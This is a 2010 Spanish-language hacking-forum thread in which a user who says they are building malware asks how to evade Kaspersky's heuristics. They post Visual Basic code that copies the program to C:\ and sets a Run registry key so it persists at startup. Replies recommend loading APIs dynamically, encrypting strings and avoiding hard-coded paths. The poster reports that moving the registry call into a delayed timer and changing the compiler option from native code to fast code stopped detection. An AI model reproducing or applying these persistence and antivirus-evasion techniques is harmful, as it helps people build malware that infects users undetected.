elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Problema con la Heuristica en Visual Basic.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problema con la Heuristica en Visual Basic.  (Leído 5,244 veces)
A2Corp


Desconectado Desconectado

Mensajes: 304



Ver Perfil
Problema con la Heuristica en Visual Basic.
« en: 7 Julio 2010, 21:07 pm »

Buenas buenas...
Programando un malware me encuentro con un problema q antes no tenia.
Una de las funciones del malware es copiarse en una carpeta especifica y despues agregarse al registro para ejecutarse en un inicio.
Pero resulta que por esto Kaspersky me lo detecta como virus, lo curioso es que despues de hacer varias pruebas me di cuenta que es antivirus se da cuenta que la ruta a donde se copio el malware es la misma ruta que se creo en el registro y por eso lo considera virus.

Ya que si coloco una ruta cualquier como "c:\system\virus.exe" y en el registro pongo "c:\system\virusE.exe" no lo considera virus, pero si quito esa "E" extra si lo considera como malware :(

Probe entonces que se copiara como "virusE.exe" y luego otra funcion que le cambie el nombre a virus.exe para que funcionara el codigo del registro pero kaspersky es inteligente.............

Alguien tiene alguna idea para burlar la heuristica del kaspersky?
En línea

Hackeo, luego existo...
bizco


Desconectado Desconectado

Mensajes: 698


Ver Perfil
Re: Problema con la Heuristica en Visual Basic.
« Respuesta #1 en: 7 Julio 2010, 21:23 pm »

pon el codigo.
En línea

A2Corp


Desconectado Desconectado

Mensajes: 304



Ver Perfil
Re: Problema con la Heuristica en Visual Basic.
« Respuesta #2 en: 7 Julio 2010, 22:18 pm »

Código:
Call remember(&H80000001, "Software\Microsoft\Windows\CurrentVersion\Run", "Virus", "C:\Virus.exe")

Public Function remember(hKey As Long, strPath As String, strValue As String, strdata As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(hKey, strPath, keyhand)
    r = RegSetValueEx(keyhand, strValue, 0, 1, ByVal strdata, Len(strdata))
    r = RegCloseKey(keyhand)
End Function


Public Function Mitosis()
  
    If App.Path = StrReverse("\:c") Then
    Exit Function



    Else
   FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\Virus.exe"
End
End If
End Function




Estos son los codigos q uso, pero por mas que lo modifico no funciona.
En línea

Hackeo, luego existo...
Jaixon Jax


Desconectado Desconectado

Mensajes: 859



Ver Perfil
Re: Problema con la Heuristica en Visual Basic.
« Respuesta #3 en: 7 Julio 2010, 22:29 pm »

  Las Apis RegCreateKey hay que cargarlas dinamicamente no se como sera en VB pero esas apis estan muy firmadas y las cadenas que usas en esas apis la podrias cifrar y descifrarla solo cuando las uses en la API y el nombre Virus.exe tambien puede alertar algunos AV


  Saludos ...
En línea

bizco


Desconectado Desconectado

Mensajes: 698


Ver Perfil
Re: Problema con la Heuristica en Visual Basic.
« Respuesta #4 en: 7 Julio 2010, 22:33 pm »

aparte de lo que te dicen, obten la ruta donde te copiaras en ejecucion y no pongas en el codigo letras de unidades.
En línea

A2Corp


Desconectado Desconectado

Mensajes: 304



Ver Perfil
Re: Problema con la Heuristica en Visual Basic.
« Respuesta #5 en: 7 Julio 2010, 22:36 pm »

Gracias por sus respuestas.
Por cierto lo del nombre del archivo (Virus) fue solo un ejemplo jejeje.

Di con la solucion colocando
este codigo:

Código:
Call remember(&H80000001, "Software\Microsoft\Windows\CurrentVersion\Run", "Virus", "C:\Virus.exe")

en un timer...
y ese timer en un principio estaria desactivado y una funcion lo activaria.

Asi aparece Clean en novirusthanks.org

:D
En línea

Hackeo, luego existo...
Jaixon Jax


Desconectado Desconectado

Mensajes: 859



Ver Perfil
Re: Problema con la Heuristica en Visual Basic.
« Respuesta #6 en: 7 Julio 2010, 22:41 pm »

Gracias por sus respuestas.
Por cierto lo del nombre del archivo (Virus) fue solo un ejemplo jejeje.

Di con la solucion colocando
este codigo:

Código:
Call remember(&H80000001, "Software\Microsoft\Windows\CurrentVersion\Run", "Virus", "C:\Virus.exe")

en un timer...
y ese timer en un principio estaria desactivado y una funcion lo activaria.

Asi aparece Clean en novirusthanks.org

:D

  Eso tambien es valido la heuristica de Kaspersky dura pocos segundos y asi no le da chance de analizar ese trozo pero igual es algo rebuscado   :silbar:

  Saludos ......
En línea

A2Corp


Desconectado Desconectado

Mensajes: 304



Ver Perfil
Re: Problema con la Heuristica en Visual Basic.
« Respuesta #7 en: 8 Julio 2010, 11:17 am »

Buenas, ahora tengo ua nueva duda....
Modificando el codigo de un viejo malware q habia escrito hace tiempo me di cuenta que era detectado por mi AV (el avira) fui quitando funciones para ver cual era la chismosita hasta que llegue a dejar el form vacio!!!!!!

y seguia cantando, entonces deje el proyecto sin form...... Y SEGUIA CANTANDO!
Llego a la conclusion que alguna propiedad del proyecto esta cantando :S la verdad me quede sin opciones por mas que trato de regresar el proyecto a los valores predeterminados sigue saltando mi antivirus como "troyan gen downloader" una cosa asi.


Cosa rara porque al hacer un proyecto desde cero no ocurre lo mismo.

Alguien me puede orientar?
En línea

Hackeo, luego existo...
A2Corp


Desconectado Desconectado

Mensajes: 304



Ver Perfil
Re: Problema con la Heuristica en Visual Basic.
« Respuesta #8 en: 8 Julio 2010, 11:36 am »

Me respondo yo mismo...
Lei un articulo sobre falsos positivos y uno de los motivos es el tipo de packer q use el visualbasic y dicho y hecho...
Para este malware use el native code porque se reducia mucho el tamaño del archivo y ahora lo cambie como "fast code" y dejo de cantar.
:( aumentara unos cuantos kb de espacio pero ahora va calladito.
En línea

Hackeo, luego existo...
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines